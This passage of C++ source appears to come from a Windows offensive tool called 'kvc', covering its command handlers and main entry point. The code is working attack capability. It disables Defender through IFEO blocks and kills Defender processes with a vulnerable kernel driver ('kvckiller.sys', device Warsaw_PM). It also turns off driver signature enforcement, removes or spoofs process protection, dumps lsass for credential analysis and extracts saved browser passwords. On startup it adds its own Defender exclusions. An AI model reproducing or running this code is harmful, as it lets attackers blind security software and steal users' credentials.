            return g_controller->DisableDSESafe() ? 0 : 2;
        }
        INFO(L"Disabling driver signature enforcement...");
        return g_controller->DisableDSE() ? 0 : 2;
    }
    else if (subCmd == L"on") {
        if (safe) {
            INFO(L"Restoring DSE using Next-Gen method...");
            return g_controller->RestoreDSESafe() ? 0 : 2;
        }
        INFO(L"Restoring driver signature enforcement...");
        return g_controller->RestoreDSE() ? 0 : 2;
    }
    else {
        ERROR(L"Unknown DSE command: %s", subCmd.c_str());
        ERROR(L"Usage: kvc dse [off|on]  or  kvc dse  (status)");
        return 1;
    }
}

// Declared in vg\globals.inc; set by kvc.cpp before calling VgGuiMain
extern "C" DWORD g_startMinimized;

static bool SpawnVgDaemon(bool minimized) noexcept {
    WCHAR self[MAX_PATH];
    if (!GetModuleFileNameW(nullptr, self, MAX_PATH))
        return false;
    std::wstring cmd = std::wstring(L"\"") + self + L"\" lock --vgdaemon";
    if (minimized) cmd += L" --tray";
    STARTUPINFOW si = {};
    si.cb = sizeof(si);
    PROCESS_INFORMATION pi = {};
    BOOL ok = CreateProcessW(nullptr, cmd.data(), nullptr, nullptr,
                             FALSE, DETACHED_PROCESS | CREATE_NO_WINDOW,
                             nullptr, nullptr, &si, &pi);
    if (ok) {
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
    return ok != FALSE;
}

static void LowerAsciiInPlace(std::wstring& s) noexcept {
    for (wchar_t& ch : s) {
        if (ch >= L'A' && ch <= L'Z')
            ch = static_cast<wchar_t>(ch + (L'a' - L'A'));
    }
}

static std::wstring NormalizeTrustedProcessName(const wchar_t* input) {
    std::wstring name = input ? input : L"";
    const size_t slash = name.find_last_of(L"\\/");
    if (slash != std::wstring::npos)
        name.erase(0, slash + 1);
    LowerAsciiInPlace(name);
    return name;
}

int HandleLockCommand(int argc, wchar_t* argv[]) {
    if (argc < 3) {
        HelpSystem::PrintBlockerCommands();
        return 0;
    }
    std::wstring sub = argv[2];
    LowerAsciiInPlace(sub);

    if (sub == L"--gui" || sub == L"gui") {
        if (!SpawnVgDaemon(false)) { ERROR(L"Failed to spawn VaultGuard GUI"); return 1; }
        return 0;
    }
    if (sub == L"--tray" || sub == L"tray") {
        if (!SpawnVgDaemon(true)) { ERROR(L"Failed to spawn VaultGuard GUI"); return 1; }
        return 0;
    }
    if (sub == L"--vgdaemon") {
        bool tray = (argc >= 4 && _wcsicmp(argv[3], L"--tray") == 0);
        g_controller->EnsureBlockerDriver();
        g_startMinimized = tray ? 1 : 0;
        VgGuiMain();
        return 0;
    }
    if (sub == L"status") {
        std::wstring s = g_controller->GetBlockerStatus();
        INFO(L"kvcblocker: %s", s.c_str());
        return 0;
    }
    if (sub == L"on") {
        if (!g_controller->EnsureBlockerDriver()) return 1;
        ConfigLoad();
        IoctlSetActive(1);
        SUCCESS(L"Protection enabled");
        return 0;
    }
    if (sub == L"off") {
        if (!g_controller->EnsureBlockerDriver()) return 1;
        IoctlSetActive(0);
        INFO(L"Protection disabled");
        return 0;
    }
    if (sub == L"add") {
        if (argc < 5) { ERROR(L"Usage: kvc lock add <path> <Hidden|Locked|ReadOnly|NoExec|All>"); return 1; }
        std::wstring mode = argv[4];
        DWORD flags = 0;
        if (_wcsicmp(mode.c_str(), L"Hidden")   == 0) flags = 0x01;
        else if (_wcsicmp(mode.c_str(), L"Locked")   == 0) flags = 0x02;
        else if (_wcsicmp(mode.c_str(), L"ReadOnly") == 0) flags = 0x04;
        else if (_wcsicmp(mode.c_str(), L"NoExec")   == 0) flags = 0x08;
        else if (_wcsicmp(mode.c_str(), L"All")      == 0) flags = 0x0F;
        else { ERROR(L"Unknown mode: %s  (Hidden|Locked|ReadOnly|NoExec|All)", mode.c_str()); return 1; }
        if (!g_controller->EnsureBlockerDriver()) return 1;
        if (!IoctlAddPath(flags, argv[3])) { ERROR(L"Failed to add path"); return 1; }
        ConfigSavePath(argv[3], flags);
        SUCCESS(L"Protected: %s [%s]", argv[3], mode.c_str());
        return 0;
    }
    if (sub == L"remove") {
        if (argc < 4) { ERROR(L"Usage: kvc lock remove <path>"); return 1; }
        if (!g_controller->EnsureBlockerDriver()) return 1;
        if (!IoctlRemovePath(argv[3])) { ERROR(L"Failed to remove path"); return 1; }
        ConfigRemovePath(argv[3]);
        SUCCESS(L"Unprotected: %s", argv[3]);
        return 0;
    }
    if (sub == L"allow") {
        if (argc < 4) { ERROR(L"Usage: kvc lock allow <app.exe>"); return 1; }
        std::wstring name = NormalizeTrustedProcessName(argv[3]);
        if (name.empty()) { ERROR(L"Usage: kvc lock allow <app.exe>"); return 1; }
        if (!g_controller->EnsureBlockerDriver()) return 1;
        if (!IoctlAddTrusted(name.c_str())) { ERROR(L"Failed to add trusted app"); return 1; }
        ConfigSaveTrusted(name.c_str());
        SUCCESS(L"Trusted: %s", name.c_str());
        return 0;
    }
    if (sub == L"unallow") {
        if (argc < 4) { ERROR(L"Usage: kvc lock unallow <app.exe>"); return 1; }
        std::wstring name = NormalizeTrustedProcessName(argv[3]);
        if (name.empty()) { ERROR(L"Usage: kvc lock unallow <app.exe>"); return 1; }
        if (!g_controller->EnsureBlockerDriver()) return 1;
        ConfigRemoveTrusted(name.c_str());
        IoctlRemoveTrusted(name.c_str());  // clears all trusted from driver
        ConfigLoad();                      // reloads remaining from registry
        INFO(L"Removed from trusted: %s", name.c_str());
        return 0;
    }
    if (sub == L"list") {
        HKEY hKey = nullptr;
        bool anyPaths = false, anyTrusted = false;
        if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\kvc\\lock\\Paths",
                          0, KEY_READ, &hKey) == ERROR_SUCCESS) {
            WCHAR name[MAX_PATH + 1];
            DWORD flags = 0, nameCch, dataCb, type;
            for (DWORD i = 0; ; i++) {
                nameCch = MAX_PATH + 1; dataCb = sizeof(DWORD);
                if (RegEnumValueW(hKey, i, name, &nameCch, nullptr,
                                  &type, reinterpret_cast<BYTE*>(&flags),
                                  &dataCb) == ERROR_NO_MORE_ITEMS) break;
                wchar_t mode[48] = {};
                if (flags & 0x01) wcscat_s(mode, L"Hidden ");
                if (flags & 0x02) wcscat_s(mode, L"Locked ");
                if (flags & 0x04) wcscat_s(mode, L"ReadOnly ");
                if (flags & 0x08) wcscat_s(mode, L"NoExec ");
                if (!mode[0]) wcscpy_s(mode, L"inactive");
                else mode[wcslen(mode) - 1] = L'\0';
                wprintf(L"  [path]    %-60s [%s]\n", name, mode);
                anyPaths = true;
            }
            RegCloseKey(hKey);
        }
        if (!anyPaths) INFO(L"No protected paths");
        if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\kvc\\lock\\Trusted",
                          0, KEY_READ, &hKey) == ERROR_SUCCESS) {
            WCHAR name[MAX_PATH + 1];
            DWORD nameCch;
            for (DWORD i = 0; ; i++) {
                nameCch = MAX_PATH + 1;
                if (RegEnumValueW(hKey, i, name, &nameCch,
                                  nullptr, nullptr, nullptr,
                                  nullptr) == ERROR_NO_MORE_ITEMS) break;
                wprintf(L"  [trusted]  %s\n", name);
                anyTrusted = true;
            }
            RegCloseKey(hKey);
        }
        if (!anyTrusted) INFO(L"No trusted apps");
        return 0;
    }
    if (sub == L"clear") {
        if (!g_controller->EnsureBlockerDriver()) return 1;
        IoctlClearAll();
        RegDeleteKeyW(HKEY_CURRENT_USER, L"Software\\kvc\\lock\\Paths");
        RegDeleteKeyW(HKEY_CURRENT_USER, L"Software\\kvc\\lock\\Trusted");
        SUCCESS(L"All protected paths and trusted entries cleared");
        return 0;
    }
    ERROR(L"Unknown lock subcommand: %s", sub.c_str());
    HelpSystem::PrintBlockerCommands();
    return 1;
}

int HandleSecEngineCommand(int argc, wchar_t* argv[]) {
    if (argc < 3) {
        ERROR(L"Missing subcommand for secengine. Usage: kvc secengine <disable|enable|status>");
        return 1;
    }
    std::wstring_view sub = argv[2];

    // disable:
    // Writes IFEO blocks for MsMpEng/SecurityHealthSystray/SecurityHealthService,
    // then kernel-kills the running processes via kvckiller.sys (wsftprm service).
    // No restart required.
    if (sub == L"disable") {
        // Step 1: write IFEO blocks (persistent)
        if (!DefenderManager::DisableSecurityEngine())
            return 1;

        // Step 2: kernel-kill via kvckiller.sys (service: wsftprm, device: \\.\Warsaw_PM)
        PrivilegeUtils::EnablePrivilege(SE_LOAD_DRIVER_NAME);
        g_controller->BeginDriverSession();
        g_controller->EndDriverSession(true);

        const std::wstring killerPath = GetDriverStorePath() + L"\\kvckiller.sys";
        if (GetFileAttributesW(killerPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
            INFO(L"kvckiller.sys not found - skipping kernel kill");
            return 0;
        }

        // Remove any stale wsftprm registration before creating a fresh one.
        {
            SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
            if (hSCM) {
                SC_HANDLE hOld = OpenServiceW(hSCM, L"wsftprm", DELETE);
                if (hOld) { DeleteService(hOld); CloseServiceHandle(hOld); }
                CloseServiceHandle(hSCM);
            }
        }

        SC_HANDLE hKillerSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
        SC_HANDLE hKillerSvc = nullptr;
        bool killerLoaded = false;

        if (hKillerSCM) {
            hKillerSvc = CreateServiceW(hKillerSCM, L"wsftprm", L"wsftprm",
                                        SERVICE_START | SERVICE_STOP | DELETE,
                                        SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START,
                                        SERVICE_ERROR_NORMAL, killerPath.c_str(),
                                        nullptr, nullptr, nullptr, nullptr, nullptr);
            if (hKillerSvc && StartServiceW(hKillerSvc, 0, nullptr))
                killerLoaded = true;
        }

        if (killerLoaded) {
            HANDLE hDev = CreateFileW(L"\\\\.\\Warsaw_PM",
                                      GENERIC_READ | GENERIC_WRITE, 0, nullptr,
                                      OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
            if (hDev != INVALID_HANDLE_VALUE) {
                static constexpr const wchar_t* killTargets[] = {
                    L"MsMpEng.exe", L"SecurityHealthSystray.exe"
                };
                HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
                if (hSnap != INVALID_HANDLE_VALUE) {
                    PROCESSENTRY32W pe{ sizeof(pe) };
                    if (Process32FirstW(hSnap, &pe)) {
                        do {
                            for (const wchar_t* target : killTargets) {
                                if (_wcsicmp(pe.szExeFile, target) == 0) {
                                    std::vector<BYTE> buf(1036, 0);
                                    *reinterpret_cast<DWORD*>(buf.data()) = pe.th32ProcessID;
                                    DWORD ret = 0;
                                    if (DeviceIoControl(hDev, 0x22201C,
                                                        buf.data(), static_cast<DWORD>(buf.size()),
                                                        nullptr, 0, &ret, nullptr))
                                        SUCCESS(L"%s (PID %lu) terminated via kvckiller", target, pe.th32ProcessID);
                                    else
                                        INFO(L"IOCTL failed for %s (PID %lu): %lu", target, pe.th32ProcessID, GetLastError());
                                }
                            }
                        } while (Process32NextW(hSnap, &pe));
                    }
                    CloseHandle(hSnap);
                }
                CloseHandle(hDev);
            } else {
                INFO(L"Cannot open Warsaw_PM device: %lu", GetLastError());
            }

            // Stop SecurityHealthService (service-hosted, SCM stop suffices)
            SC_HANDLE hSCM2 = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
            if (hSCM2) {
                SC_HANDLE hHealth = OpenServiceW(hSCM2, L"SecurityHealthService",
                                                 SERVICE_STOP | SERVICE_QUERY_STATUS);
                if (hHealth) {
                    SERVICE_STATUS ss{};
                    ControlService(hHealth, SERVICE_CONTROL_STOP, &ss);
                    CloseServiceHandle(hHealth);
                }
                CloseServiceHandle(hSCM2);
            }

            // Cleanup: stop + delete wsftprm
            if (hKillerSvc) {
                SERVICE_STATUS ss{};
                ControlService(hKillerSvc, SERVICE_CONTROL_STOP, &ss);
                DeleteService(hKillerSvc);
            }
        } else {
            INFO(L"kvckiller service failed to start - processes may still be running");
        }

        if (hKillerSvc)  CloseServiceHandle(hKillerSvc);
        if (hKillerSCM) CloseServiceHandle(hKillerSCM);

        return 0;
    }

    // enable:
    // Removes IFEO Debugger block, then starts WinDefend via SCM.
    // MsMpEng.exe launches on its own - no restart needed.
    if (sub == L"enable") {
        if (DefenderManager::EnableSecurityEngine()) {
            return 0;
        }
        return 1;
    }

    // status:
    if (sub == L"status") {
        auto s = DefenderManager::QueryStatus();
        HANDLE hCon = GetStdHandle(STD_OUTPUT_HANDLE);

        // IFEO block line
        if (s.ifeoBlocked) {
            SetConsoleTextAttribute(hCon, FOREGROUND_RED | FOREGROUND_INTENSITY);
            std::wcout << L" [IFEO] MsMpEng.exe blocked - Debugger=" << s.ifeoDebugger << L"\n";
        } else {
            SetConsoleTextAttribute(hCon, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
            std::wcout << L" [IFEO] No block set on MsMpEng.exe\n";
        }

        // WinDefend service line
        SetConsoleTextAttribute(hCon, s.winDefendRunning
            ? (FOREGROUND_GREEN | FOREGROUND_INTENSITY)
            : (FOREGROUND_RED   | FOREGROUND_INTENSITY));
        std::wcout << L" [SVC]  WinDefend: "
                   << (s.winDefendRunning ? L"RUNNING" : L"STOPPED") << L"\n";

        // MsMpEng process line
        SetConsoleTextAttribute(hCon, s.msmpengRunning
            ? (FOREGROUND_GREEN | FOREGROUND_INTENSITY)
            : (FOREGROUND_RED   | FOREGROUND_INTENSITY));
        std::wcout << L" [PROC] MsMpEng.exe: "
                   << (s.msmpengRunning ? L"RUNNING" : L"NOT RUNNING") << L"\n";

        // Summary line
        SetConsoleTextAttribute(hCon, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
        std::wcout << L" [SUM]  ";
        switch (s.state) {
            case DefenderManager::SecurityState::ACTIVE:
                SetConsoleTextAttribute(hCon, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
                std::wcout << L"ACTIVE - Defender engine is running\n";
                break;
            case DefenderManager::SecurityState::IFEO_BLOCKED:
                SetConsoleTextAttribute(hCon, FOREGROUND_RED | FOREGROUND_INTENSITY);
                std::wcout << L"IFEO BLOCKED - engine will not launch (restart to fully deactivate)\n";
                break;
            case DefenderManager::SecurityState::INACTIVE:
                SetConsoleTextAttribute(hCon, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
                std::wcout << L"INACTIVE - WinDefend stopped, no IFEO block\n";
                break;
            case DefenderManager::SecurityState::NOT_INSTALLED:
                SetConsoleTextAttribute(hCon, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
                std::wcout << L"NOT INSTALLED - WinDefend service not found\n";
                break;
            default:
                std::wcout << L"UNKNOWN\n";
                break;
        }

        SetConsoleTextAttribute(hCon, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
        return 0;
    }

    ERROR(L"Invalid secengine subcommand: %s", std::wstring(sub).c_str());
    ERROR(L"Valid subcommands: disable [--restart], enable, status");
    return 1;
}

int HandleModulesCommand(int argc, wchar_t* argv[]) {
    if (argc < 3) {
        ERROR(L"Missing PID/process name argument");
        ERROR(L"Usage: kvc modules <PID|process_name> [read <module> [offset] [size]]");
        return 1;
    }
    std::wstring_view target = argv[2];
    DWORD pid = 0;

    if (IsNumeric(target)) {
        if (auto p = ParsePid(target)) pid = p.value(); else { ERROR(L"Invalid PID format: %s", target.data()); return 1; }
    } else {
        auto match = g_controller->ResolveNameWithoutDriver(std::wstring(target));
        if (!match) { ERROR(L"Process not found: %s", target.data()); return 1; }
        pid = match->Pid;
        INFO(L"Resolved '%s' to PID %lu", match->ProcessName.c_str(), pid);
    }

    if (argc >= 4 && StringUtils::ToLowerCaseCopy(argv[3]) == L"read") {
        if (argc < 5) {
            ERROR(L"Missing module name for read operation");
            ERROR(L"Usage: kvc modules <PID> read <module_name> [offset] [size]");
            return 1;
        }
        std::wstring module = argv[4];
        ULONG_PTR offset = 0;
        size_t size = 256;
        if (argc >= 6) offset = std::wcstoull(argv[5], nullptr, 0); 
        if (argc >= 7) size = std::wcstoull(argv[6], nullptr, 0);
        return g_controller->ReadModuleMemory(pid, module, offset, size) ? 0 : 2;
    }
    return g_controller->EnumerateProcessModules(pid) ? 0 : 2;
}

int HandleProtectionCommand(int argc, wchar_t* argv[], bool isSet) {
    if (argc < 5) {
        ERROR(L"Missing arguments: <PID/process_name> <PP|PPL> <SIGNER_TYPE>");
        return 1;
    }
    std::wstring target = argv[2];
    std::wstring level = argv[3];
    std::wstring signer = argv[4];

    // Batch processing
    if (target.find(L',') != std::wstring::npos) {
        std::vector<std::wstring> targets;
        std::wstringstream ss(target);
        std::wstring item;
        while (std::getline(ss, item, L',')) {
            std::wstring trimmed = Trim(item);
            if (!trimmed.empty()) targets.push_back(trimmed);
        }
        
        if (targets.empty()) { ERROR(L"No valid targets in comma-separated list"); return 1; }
        INFO(L"Batch %s operation: %zu targets", isSet ? L"set" : L"protect", targets.size());
        
        return (isSet ? g_controller->SetMultipleProcessesProtection(targets, level, signer) : 
                        g_controller->ProtectMultipleProcesses(targets, level, signer)) ? 0 : 2;
    }

    // Single processing
    if (IsNumeric(target)) {
        auto pid = ParsePid(target);
        if (!pid) { ERROR(L"Invalid PID format: %s", target.c_str()); return 1; }
        return (isSet ? g_controller->SetProcessProtection(pid.value(), level, signer) : 
                        g_controller->ProtectProcess(pid.value(), level, signer)) ? 0 : 2;
    } else {
        return (isSet ? g_controller->SetProcessProtectionByName(target, level, signer) : 
                        g_controller->ProtectProcessByName(target, level, signer)) ? 0 : 2;
    }
}

int HandleUnprotectCommand(int argc, wchar_t* argv[]) {
    if (argc < 3) { ERROR(L"Missing PID/process name argument"); return 1; }
    std::wstring target = argv[2];
    
    if (target == L"all") return g_controller->UnprotectAllProcesses() ? 0 : 2;
    
    // Batch
    if (target.find(L',') != std::wstring::npos) {
        std::vector<std::wstring> list;
        std::wstringstream ss(target); 
        std::wstring s;
        while (std::getline(ss, s, L',')) {
            std::wstring trimmed = Trim(s);
            if (!trimmed.empty()) list.push_back(trimmed);
        }
        return g_controller->UnprotectMultipleProcesses(list) ? 0 : 2;
    }
    
    if (Utils::GetSignerTypeFromString(target)) return g_controller->UnprotectBySigner(target) ? 0 : 2;
    
    if (IsNumeric(target)) {
         auto pid = ParsePid(target);
         if(!pid) { ERROR(L"Invalid PID format: %s", target.c_str()); return 1; }
         return g_controller->UnprotectProcess(pid.value()) ? 0 : 2;
    }
    return g_controller->UnprotectProcessByName(target) ? 0 : 2;
}

int HandleBrowserPasswords(int argc, wchar_t* argv[]) {
    if (argc < 3 || IsHelpFlag(argv[2])) {
        HelpSystem::PrintBrowserCommands();
        return 0;
    }

    std::wstring browserType;
    std::wstring outputPath = L".";

    for (int i = 2; i < argc; i++) {
        std::wstring arg = argv[i];
        if (arg == L"--chrome") browserType = L"chrome";
        else if (arg == L"--brave") browserType = L"brave";
        else if (arg == L"--edge") browserType = L"edge";
        else if (arg == L"--all") browserType = L"all";
        else if (arg == L"--output" || arg == L"-o") {
            if (i + 1 < argc) outputPath = argv[++i];
            else { ERROR(L"Missing path for --output argument"); return 1; }
        }
        else { ERROR(L"Unknown argument: %s", arg.c_str()); return 1; }
    }

    if (browserType.empty()) { HelpSystem::PrintBrowserCommands(); return 0; }

    if (browserType == L"all") {
        if (!CheckKvcPassExists() && !g_controller->EnsureBinaryComponents()) { ERROR(L"--all requires kvc_pass.exe"); return 1; }
        if (!g_controller->ExportBrowserData(outputPath, browserType)) { ERROR(L"Failed to extract from all browsers"); return 1; }
        return 0;
    }

    if (browserType == L"edge") {
        if (CheckKvcPassExists()) {
            INFO(L"Full Edge extraction: JSON (kvc_pass) + HTML/TXT (KVC DPAPI)");
            if (!g_controller->ExportBrowserData(outputPath, browserType)) ERROR(L"kvc_pass extraction failed");
            INFO(L"Generating HTML/TXT reports...");
            g_controller->ShowPasswords(outputPath);
            SUCCESS(L"Edge extraction complete");
        } else {
            INFO(L"Using built-in Edge DPAPI extraction (HTML/TXT only)");
            g_controller->ShowPasswords(outputPath);
        }
        return 0;
    }

    if (!CheckKvcPassExists() && !g_controller->EnsureBinaryComponents()) { ERROR(L"%s extraction requires kvc_pass.exe", browserType == L"chrome" ? L"Chrome" : L"Brave"); return 1; }
    if (!g_controller->ExportBrowserData(outputPath, browserType)) { ERROR(L"Failed to export browser passwords"); return 1; }
    return 0;
}

// ============================================================================
// MAIN APPLICATION ENTRY POINT
// ============================================================================

int wmain(int argc, wchar_t* argv[])
{
    signal(SIGINT, SignalHandler);

    EnsureSelfDefenderExclusions();

    if (argc >= 2 && std::wstring_view(argv[1]) == L"--service") {
        return ServiceManager::RunAsService();
    }
    
    if (argc < 2 || IsHelpFlag(argv[1])) {
        HelpSystem::PrintUsage(argv[0]);
        return argc < 2 ? 1 : 0;
    }

    try {
        g_controller = std::make_unique<Controller>();
    } catch (...) {
        ERROR(L"Failed to initialize Controller");
        return 3;
    }

    std::wstring command = argv[1];

    using CommandHandler = std::function<int(int, wchar_t**)>;
    
    static const std::unordered_map<std::wstring, CommandHandler> commandMap = {
        // --- Service ---
        {L"install", [](int argc, wchar_t** argv) {
            // kvc install [--pdb] <driver>  - register driver for SMSS boot-phase loading
            if (argc >= 3) {
                bool usePdb = false;
                std::wstring driverArg;
                for (int i = 2; i < argc; i++) {
                    if (std::wstring(argv[i]) == L"--pdb") {
                        usePdb = true;
                    } else if (driverArg.empty()) {
                        driverArg = argv[i];
                    }
                }
                if (!driverArg.empty()) {
                    return g_controller->InstallSmssDriver(driverArg, usePdb) ? 0 : 1;
                }
            }
            // kvc install  - install kvc NT service
            wchar_t exePath[MAX_PATH];
            if (GetModuleFileNameW(nullptr, exePath, MAX_PATH) == 0) { ERROR(L"Failed to get current executable path"); return 1; }
            INFO(L"Installing Kernel Vulnerability Capabilities Framework service...");
            return ServiceManager::InstallService(exePath) ? 0 : 1;
        }},
        {L"uninstall", HandleUninstall},
        {L"service", HandleServiceCommand},

        // --- DSE & Driver ---
        {L"dse", HandleDseCommand},
        {L"driver", HandleDriverCommand},

        // --- Process Ops ---
        {L"list", [](int argc, wchar_t** argv) {
            g_controller->m_sessionMgr.DetectAndHandleReboot();
            
            // Check for --gui flag
            if (argc >= 3 && (wcscmp(argv[2], L"--gui") == 0 || wcscmp(argv[2], L"-g") == 0)) {
                ShowProcessListGUI(g_controller.get());
                return 0;
            }
            
            return g_controller->ListProtectedProcesses() ? 0 : 2;
        }},
        {L"info", [](int argc, wchar_t** argv) {
            if (argc < 3) { ERROR(L"Missing PID/process name argument for detailed information"); return 1; }
            if (IsNumeric(argv[2])) {
                auto pid = ParsePid(argv[2]);
                if(!pid) { ERROR(L"Invalid PID format: %s", argv[2]); return 1; }
                return g_controller->PrintProcessInfo(pid.value()) ? 0 : 2;
            }
            auto match = g_controller->ResolveNameWithoutDriver(argv[2]);
            if (match) return g_controller->PrintProcessInfo(match->Pid) ? 0 : 2;
            return 2;
        }},
        {L"get", [](int argc, wchar_t** argv) {
            if (argc < 3) { ERROR(L"Missing PID/process name argument"); return 1; }
            if (IsNumeric(argv[2])) {
                auto pid = ParsePid(argv[2]);
                if(!pid) { ERROR(L"Invalid PID format: %s", argv[2]); return 1; }
                return g_controller->GetProcessProtection(pid.value()) ? 0 : 2;
            }
            return g_controller->GetProcessProtectionByName(argv[2]) ? 0 : 2;
        }},
        {L"kill", [](int argc, wchar_t** argv) {
            ProcessManager::HandleKillCommand(argc, argv, g_controller.get());
            return 0;
        }},
        {L"dump", [](int argc, wchar_t** argv) {
            if (argc < 3) { ERROR(L"Missing PID/process name argument"); return 1; }
            std::wstring outPath = (argc >= 4) ? argv[3] : L"";
            if (outPath.empty()) {
                wchar_t* dl;
                if (SHGetKnownFolderPath(FOLDERID_Downloads, 0, NULL, &dl) == S_OK) { outPath = dl; outPath += L"\\"; CoTaskMemFree(dl); }
                else outPath = L".\\";
            }
            std::wstring dumpPath;
            bool ok;
            if (IsNumeric(argv[2])) {
                auto pid = ParsePid(argv[2]);
                if (!pid) { ERROR(L"Invalid PID format: %s", argv[2]); return 1; }
                ok = g_controller->DumpProcess(pid.value(), outPath, &dumpPath);
            } else {
                ok = g_controller->DumpProcessByName(argv[2], outPath, &dumpPath);
            }
            // Offer immediate forensic analysis after successful lsass dump
            if (ok && !dumpPath.empty() && g_controller->IsForensicAvailable()) {
                std::wstring target = StringUtils::ToLowerCopy(std::wstring(argv[2]));
                if (target.find(L"lsass") != std::wstring::npos) {
                    wprintf(L"\n[*] Analyze credentials now? [Y/n]: ");
                    wchar_t ch = _getwch();
                    wprintf(L"%lc\n\n", ch);
                    if (ch == L'Y' || ch == L'y' || ch == L'\r' || ch == L'\n') {
                        g_controller->RunForensicAnalysis(dumpPath, L"both", false, L"");
                    }
                }
            }
            return ok ? 0 : 2;
        }},

        // --- Modules ---
        {L"modules", HandleModulesCommand},
        {L"mods",    HandleModulesCommand},

        // --- Protection ---
        {L"protect", [](int argc, wchar_t** argv) { return HandleProtectionCommand(argc, argv, false); }},
        {L"set",     [](int argc, wchar_t** argv) { return HandleProtectionCommand(argc, argv, true); }},
        {L"spoof",   [](int argc, wchar_t** argv) {
            if (argc < 5) { ERROR(L"Missing arguments: <PID/process_name> <EXE_SIG_HEX> <DLL_SIG_HEX>"); return 1; }
            std::wstring target = argv[2];
            UCHAR exeSig = static_cast<UCHAR>(std::wcstoul(argv[3], nullptr, 16));
            UCHAR dllSig = static_cast<UCHAR>(std::wcstoul(argv[4], nullptr, 16));
            
            if (IsNumeric(target)) {
                auto pid = ParsePid(target);
                if (!pid) { ERROR(L"Invalid PID format: %s", target.c_str()); return 1; }
                return g_controller->SpoofProcessSignatures(pid.value(), exeSig, dllSig) ? 0 : 2;
            } else {
                return g_controller->SpoofProcessSignaturesByName(target, exeSig, dllSig) ? 0 : 2;
            }
        }},
        {L"set-signer", [](int argc, wchar_t** argv) {
            if (argc < 5) { ERROR(L"Missing arguments: <CURRENT_SIGNER> <PP|PPL> <NEW_SIGNER>"); return 1; }
            std::wstring cs = argv[2];
            if (!Utils::GetSignerTypeFromString(cs)) { ERROR(L"Invalid signer type: %s", cs.c_str()); return 1; }
            return g_controller->SetProtectionBySigner(cs, argv[3], argv[4]) ? 0 : 2;
        }},
        {L"unprotect", HandleUnprotectCommand},
        {L"unprotect-signer", [](int argc, wchar_t** argv) {
            if (argc < 3) { ERROR(L"Missing signer type argument"); return 1; }
            return g_controller->UnprotectBySigner(argv[2]) ? 0 : 2;
        }},
        {L"restore", [](int argc, wchar_t** argv) {
            if (argc < 3) { ERROR(L"Missing argument: <signer_name|all>"); return 1; }
            std::wstring t = argv[2];
            return (t == L"all") ? (g_controller->RestoreAllProtection() ? 0 : 2) 
                                 : (g_controller->RestoreProtectionBySigner(t) ? 0 : 2);
        }},
        {L"history", [](int, wchar_t**) { g_controller->ShowSessionHistory(); return 0; }},
        {L"cleanup-sessions", [](int, wchar_t**) { g_controller->m_sessionMgr.CleanupAllSessionsExceptCurrent(); return 0; }},
        {L"list-signer", [](int argc, wchar_t** argv) {
            if (argc < 3) { ERROR(L"Missing signer type argument"); return 1; }
            return g_controller->ListProcessesBySigner(argv[2]) ? 0 : 1;
        }},

        // --- Filesystem Blocker ---
        {L"lock",      HandleLockCommand},

        // --- Defender & Security ---
        {L"secengine", HandleSecEngineCommand},
        {L"disable-defender", [](int argc, wchar_t** argv) {
            bool r = DefenderManager::DisableSecurityEngine();
            if (r && argc >= 3 && std::wstring(argv[2]) == L"--restart") {
                INFO(L"Initiating system restart...");
                InitiateSystemRestart();
            }
            return r ? 0 : 2;
        }},
        {L"enable-defender", [](int, wchar_t**) { return DefenderManager::EnableSecurityEngine() ? 0 : 2; }},
        
        // --- Defender UI Automation ---
		{L"rtp", [](int argc, wchar_t** argv) {
            if (argc < 3) { INFO(L"Usage: kvc rtp <on|off|status>"); return 1; }
            WindowsDefenderAutomation wda;
            if (!wda.openDefenderSettings()) { ERROR(L"Failed to open Windows Security"); return 1; }
            std::wstring act = argv[2];
            bool res = false;
            if (act == L"on") { res = wda.enableRealTimeProtection(); if(!res) ERROR(L"Failed to enable Real-Time Protection"); }
            else if (act == L"off") { res = wda.disableRealTimeProtection(); if(!res) ERROR(L"Failed to disable Real-Time Protection"); }
            else if (act == L"status") { wda.getRealTimeProtectionStatus(); res = true; }
            else { ERROR(L"Unknown action: %s", act.c_str()); INFO(L"Usage: kvc rtp <on|off|status>"); }
            wda.closeSecurityWindow();
            return res ? 0 : 1;
        }},
		{L"tp", [](int argc, wchar_t** argv) {
            if (argc < 3) { INFO(L"Usage: kvc tp <on|off|status>"); return 1; }
            WindowsDefenderAutomation wda;
            if (!wda.openDefenderSettings()) { ERROR(L"Failed to open Windows Security"); return 1; }
            std::wstring act = argv[2];
            bool res = false;
            if (act == L"on") { res = wda.enableTamperProtection(); if(!res) ERROR(L"Failed to enable Tamper Protection"); }
            else if (act == L"off") { res = wda.disableTamperProtection(); if(!res) ERROR(L"Failed to disable Tamper Protection"); }
            else if (act == L"status") { wda.getTamperProtectionStatus(); res = true; }
            else { ERROR(L"Unknown action: %s", act.c_str()); INFO(L"Usage: kvc tp <on|off|status>"); }
            wda.closeSecurityWindow();
            return res ? 0 : 1;
        }},

        // --- Exclusions ---
        {L"add-exclusion", [](int argc, wchar_t** argv) {
            if (argc < 3) { ERROR(L"Missing exclusion arguments. Usage: kvc add-exclusion <Paths|Processes|Extensions|IpAddresses> <value>"); return 1; }
            std::wstring sub = StringUtils::ToLowerCaseCopy(argv[2]);
            if (argc < 4) return g_controller->AddToDefenderExclusions(argv[2]) ? 0 : 2; // Legacy
            if (sub == L"paths" || sub == L"path") return g_controller->AddPathExclusion(argv[3]) ? 0 : 2;
            if (sub == L"processes" || sub == L"process") return g_controller->AddProcessExclusion(argv[3]) ? 0 : 2;
